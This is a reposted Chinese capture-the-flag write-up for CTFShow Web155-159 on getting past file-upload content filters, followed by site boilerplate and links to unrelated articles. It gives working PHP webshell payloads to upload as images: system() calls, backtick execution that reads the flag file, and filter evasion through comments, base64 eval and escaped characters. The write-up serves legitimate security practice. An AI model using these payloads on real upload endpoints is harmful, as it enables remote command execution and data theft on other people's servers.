CTFShow-Web155-159:不同的过滤方式

news/2025/2/6 16:54:31/文章来源:https://www.cnblogs.com/cookiescs/p/18701347

CTFShow-Web155-159:不同的过滤方式与绕过技巧

这些题目主要针对文件上传内容的过滤规则,通过对关键字符(如 php、[]、;、括号等)进行拦截来阻止恶意代码的执行。然而,这些过滤规则存在漏洞,可以通过替换、通配符和其他技术实现绕过。

🛠️ Web155-157 解题

过滤规则:

对上传文件内容进行了简单过滤,禁止包含以下字符:

​ • php

​ • []

绕过方式:

php可以尝试替换为Php、php2、php3、php5

[]替换为{}

将被过滤的字符替换,绕过过滤逻辑,其余步骤与 Web153 基本一致。

Web157-158 解题

过滤规则:

对以下字符进行了过滤:

​ • php

​ • []

​ • ;

绕过方式:

通过直接命令执行的方法绕过。

​ 1. 首次上传图片内容:

<?=system('ls ../')?>

​ 2. 访问 /upload/,查看目录列表:

返回内容示例:

flag.php images index.php js layui upload upload.php upload.phpnothing here

​ 3. 再次上传图片获取 Flag:

图片内容:

<?=system('ls ../flag.*')?>

⚠️ 注意:

由于 php 被过滤,不能使用 。可以通过通配符 * 匹配文件名,如 flag.*。

Web159 解题

过滤规则:

​ • 除了 php、[]、;,还对括号 () 进行了过滤。

​ • 因此eval 函数也无法使用。

绕过方式:

利用 PHP 的反引号(``)执行系统命令,绕过过滤规则。

图片内容:

<?=`tac ../flag.*`?>

原理解析:

在 PHP 中:

​ • <?= 是 <?php echo 的简写,用于直接输出表达式的结果。

​ • 反引号(``)是 PHP 的执行运算符,其作用等同于 shell_exec() 函数。

​ • tac 是反向输出文件内容的 Linux 命令,tac ../flag.* 用于读取并反转显示 ../flag.* 文件的内容。

​ • 因此,代码 的功能相当于:

<?php echo shell_exec('tac ../flag.*'); ?>

PHP 中常见的字符过滤与绕过方法

常见过滤字符:

​ 1. php

​ • 替代方案:使用短标签 ,或尝试 p<h<p 等方式拆分。

​ 2. ()

​ • 替代方案:使用反引号(``)执行命令。

​ 3. ;

​ • 替代方案:将多条命令合并为一条,或使用逻辑运算符 && 或 ||。

​ 4. []

​ • 替代方案:{}。

其他绕过技术:

​ 1. Unicode 编码绕过:

​ • 将关键字符替换为其 Unicode 编码,例如 \u0070\u0068\u0070 表示 php。

​ 2. 注释混淆:

​ • 在敏感关键字中插入 PHP 注释:

<?=sys/*注释*/tem('ls ../')?>

​ 3. Base64 编码绕过:

​ • 使用 base64_decode() 解码并执行:

<?=eval(base64_decode('c3lzdGVtKCdscy4uLycpOw==')); ?>

​ 4. 多字节编码绕过:

​ • 使用多字节字符分隔敏感关键字:

<?=syst\x65m('ls ../')?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/879718.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CTFShow-Web151:文件上传漏洞

CTFShow-Web151:文件上传漏洞 🛠️ Web151 题解 本题考察 文件上传漏洞,仅在前端进行了文件类型验证,允许上传 .png 图片文件。我们可以通过抓包修改文件后缀的方式绕过限制并获取 WebShell。 🔍 源码分析 在 upload.php 代码中,我们发现了以下 HTML 代码片段: <bu…

云大使 X 函数计算 FC 专属活动上线!享返佣,一键打造 AI 应用

通过函数计算 FC 一键部署 Flux 模型,快速生成毛茸茸萌宠风格图像。我们将为您提供预置的工作流文件+内置大模型+Lora 模型,让您基于函数计算部署 ComfyUI 快速体验AI生图。如今,AI 技术已经成为推动业务创新和增长的重要力量。但对于许多企业和开发者来说,如何高效、便捷地…

标准化管理数字化转型的实践与价值

在当下数字化转型的汹涌浪潮中,企业所处的竞争环境变得愈发复杂且瞬息万变。 标准化管理作为企业实现高质量发展的稳固基石,正切实面临着前所未有的机遇与严峻挑战。 从机遇层面来看,数字化技术的迅猛发展为标准化管理带来了全新的手段和方法,使管理效率和精准度提升成为可…

JS-52 定时器之setTimeout()

JavaScript提供定时执行代码的功能,叫做定时器(timer),主要由setTimeout和setlnterval()这两个函数来完成。他们向任务队列添加定时任务 setTimeout函数用来指定某个函数或某段代码,在多少毫秒之后执行。它返回一个整数,表示定时器的编号,以后可以用来取消这个定时器。…

spark实验一

使用 Linux 系统的常用命令 启动 Linux 虚拟机,进入 Linux 系统,通过查阅相关 Linux 书籍和网络资料,或者参考 本教程官网的“实验指南”的“Linux 系统常用命令”,完成如下操作: (1) 切换到目录 /usr/bin; (2) 查看目录/usr/local 下所有的文件;(3)…

博客园-awescnb插件-geek皮肤优化-Markdown样式支持

💖简介 博客园-awescnb插件-geek皮肤下,Markdown语法中对部分样式未正常支持,可以通过自定义CSS进行完善。 ✨定义列表定义自定义CSS 博客园->管理->设置->页面定制 CSS 代码 添加代码/* 定义列表 */ dl dt{font-size: 14px;font-weight: bold;font-style: italic…

uniapp vue3 路由传参 利用props获取参数

A页面跳转B页面 A页面 function toDetail(value) {console.log(click);let chuansVal = decodeURIComponent(JSON.stringify(value));console.log(chuansVal);uni.navigateTo({url: "/pages/material/receiveDetail?data=" + chuansVal}); }B页面 const props = def…

团队协作工具私有化部署优选:板栗看板的安全与高效之道

在进行企业私有化选择时,建议详细咨询软件供应商或查看其官方文档以获取最准确的信息。板栗看板是一款非常适合中小团队的协作工具,尤其在任务管理、项目进度跟踪和沟通协作方面表现出色。如果你正在寻找一款简洁高效、功能强大的团队协作工具进行企业私有化,板栗看板无疑是…

06 软件安全测试

13. 软件安全性测试 黑客、病毒、蠕虫、间谍软件、后门程序、木马、拒绝服务攻击等。 安全产品:指在系统的所有者或者管理员的控制下,保护用户信息的保密性、完整性、可获得性,以及处理资源的完整性和可获得性。 安全漏洞:产品不可行的缺陷,正确使用产品时来防止攻击者窃取…

微服务引擎 MSE 及云原生 API 网关 2024 年 12 月产品动态

微服务引擎 MSE 及云原生 API 网关 2024 年 12 月产品动态

Redis缓冲区分析

Redis缓冲区分析 1 Redis缓冲区简介 缓冲区,用一块内存空间暂时存放命令数据,目的是解决因数据和命令的处理速度小于发送速度而导致数据丢失和性能问题。缓冲区的内存空间有限,当写数据速度>读数据速度持续进行,会导致缓冲区容量需越来越大。当缓冲区占用内存>设定上限阈…

微服务开发环境搭建

1. 配置maven,使用阿里镜像库 2.idea下载常用的插件,lomok插件和mybatis插件 3.新建工程,微服务分布式工程 4.前端开发工具安装vs code 5.配置git代码仓库管理 本文永久更新地址:1. 配置maven,使用阿里镜像库 找到maven下载安装目录,找到conf配置文件,修改setting.xml配置…